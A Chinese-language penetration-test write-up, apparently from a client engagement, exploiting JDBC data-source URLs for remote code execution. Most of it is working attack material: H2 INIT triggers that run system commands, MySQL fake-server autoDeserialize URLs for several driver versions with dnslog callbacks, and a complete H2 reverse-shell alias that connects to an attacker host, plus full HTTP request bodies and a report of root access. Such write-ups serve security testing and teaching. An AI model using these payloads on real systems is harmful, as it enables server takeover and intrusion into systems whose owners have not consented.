背景:

在一次测试客户系统中发现其存在各种数据库连接可控点,从而尝试不同数据库的JDBC反序列化RCE
使用到的工具:Java chains,MySQL_Fake_Server,Ysoserial

先是发现系统中功能点存在添加数据源:


此处可以选不同数据库,此处选择H2

使用Java chains生成H2的payload:

payload:

jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE
SELECT ON INFORMATION_SCHEMA.TABLES AS \$\$//javascript
java.lang.Runtime.getRuntime().exec(\'cmd /c calc\');

将calc换成ping命令测试连接:

成功执行命令RCE

数据包:

POST /xxx/xx/xxxx-xxxxxxxx/xxxx HTTP/1.1

Host: xxx.xxx.xxx.xxx

Content-Length: 439

Authorization: xxxxxxxx

Accept-Language: zh-CN

Accept: application/json, text/plain, \*/\*

Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0

Accept-Encoding: gzip, deflate, br

Connection: close

{\"name\":\"jdbc-data-provider\",\"type\":\"JDBC\",\"properties\":{\"dbType\":\"H2\",\"url\":\"jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE
TRIGGER shell123 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
\$\$//javascript java.lang.Runtime.getRuntime().exec(\'ping
4i74mk.dnslog.cn\');\",\"user\":\"test\",\"password\":\"test\",\"driverClass\":\"org.h2.Driver\",\"serverAggregate\":false,\"enableSpecialSQL\":false,\"enableSyncSchemas\":true,\"syncInterval\":\"60\",\"properties\":{}}}

继续测试其他数据库,尝试mysql的jdbc反序列化:

服务器启动fake-mysql-cli

测试对方版本:

参考链接:

https://github.com/sherwin-win/MySQL_Fake_Server

8.x:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

6.x:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

5.1.11及以上的5.x版本:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

User处写对应的dnslog:

deser_URLDNS_http://8758b0eb03.ipv6.1433.eu.org.

上面几个版本的payload进行Fuzz测试:

数据包:

POST /xxx/xx/xxxx-xxxxxxxx/xxxx HTTP/1.1

Host: xxx.xxx.xxx.xxx

Content-Length: 445

Authorization: xxxxxxxx

Accept-Language: zh-CN

Accept: application/json, text/plain, \*/\*

Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0

Accept-Encoding: gzip, deflate, br

Connection: close

{\"name\":\"jdbc-data-provider\",\"type\":\"JDBC\",\"properties\":{\"dbType\":\"MYSQL\",\"url\":\"jdbc:mysql://xxx.xxx.xxx.xxx:8888/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"user\":\"deser_URLDNS_http://8758b0eb03.ipv6.1433.eu.org.\",\"password\":\"321\",\"driverClass\":\"com.mysql.cj.jdbc.Driver\",\"serverAggregate\":false,\"enableSpecialSQL\":false,\"enableSyncSchemas\":true,\"syncInterval\":\"60\",\"properties\":{}}}

此前了解到有fastjson依赖,尝试打fastjson链:

生成后复制保存到test.txt中

再次启动,使用-f参数指定test.txt:

User处换成deser_CUSTOM发送

这里报错了,换一个工具:


发送payload后服务器回显:

依然报错(不知道哪出问题了,放弃分析)

回到H2打反弹shell


Payload:

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS REV_SHELL
AS \'void rev_shell(String host, String port) throws java.lang.Exception
{String
shell=System.getProperty(\"os.name\").toLowerCase().contains(\"win\")?\"cmd\":\"sh\"\\;Process
p=new
ProcessBuilder(shell).redirectErrorStream(true).start()\\;java.net.Socket
s=new java.net.Socket(host,Integer.valueOf(port))\\;java.io.InputStream
pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream()\\;java.io.OutputStream
po=p.getOutputStream(),so=s.getOutputStream()\\;while(!s.isClosed()){while(pi.available()\>0){so.write(pi.read())\\;}while(pe.available()\>0){so.write(pe.read())\\;}while(si.available()\>0){po.write(si.read())\\;}so.flush()\\;po.flush()\\;Thread.sleep(50)\\;try{p.exitValue()\\;break\\;}catch(Exception
e){}}p.destroy()\\;s.close()\\;}\'\\;CALL REV_SHELL (\'127.0.0.1\',
\'9999\')\\;

服务器接收到反弹shell

执行whomai为root权限

数据包:

POST /xxx/xx/xxxx-xxxxxxxx/xxxx HTTP/1.1

Host: xxx.xxx.xxx.xxxx

Content-Length: 1118

Authorization: xxxxxxxx

Accept: application/json, text/plain, \*/\*

Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0

Accept-Encoding: gzip, deflate, br

Connection: close

{\"name\":\"jdbc-data-provider\",\"type\":\"JDBC\",\"properties\":{\"dbType\":\"H2\",\"url\":\"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE
ALIAS REV_SHELL AS \'void rev_shell(String host, String port) throws
java.lang.Exception {String
shell=System.getProperty(\\\"os.name\\\").toLowerCase().contains(\\\"win\\\")?\\\"cmd\\\":\\\"sh\\\"\\\\;Process
p=new
ProcessBuilder(shell).redirectErrorStream(true).start()\\\\;java.net.Socket
s=new
java.net.Socket(host,Integer.valueOf(port))\\\\;java.io.InputStream
pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream()\\\\;java.io.OutputStream
po=p.getOutputStream(),so=s.getOutputStream()\\\\;while(!s.isClosed()){while(pi.available()\>0){so.write(pi.read())\\\\;}while(pe.available()\>0){so.write(pe.read())\\\\;}while(si.available()\>0){po.write(si.read())\\\\;}so.flush()\\\\;po.flush()\\\\;Thread.sleep(50)\\\\;try{p.exitValue()\\\\;break\\\\;}catch(Exception
e){}}p.destroy()\\\\;s.close()\\\\;}\'\\\\;CALL REV_SHELL
(\'xxx.xxx.xxx.xxx\',
\'8888\')\\\\;\",\"user\":\"123\",\"password\":\"321\",\"driverClass\":\"org.h2.Driver\",\"serverAggregate\":false,\"enableSpecialSQL\":false,\"enableSyncSchemas\":true,\"syncInterval\":\"60\",\"properties\":{}}}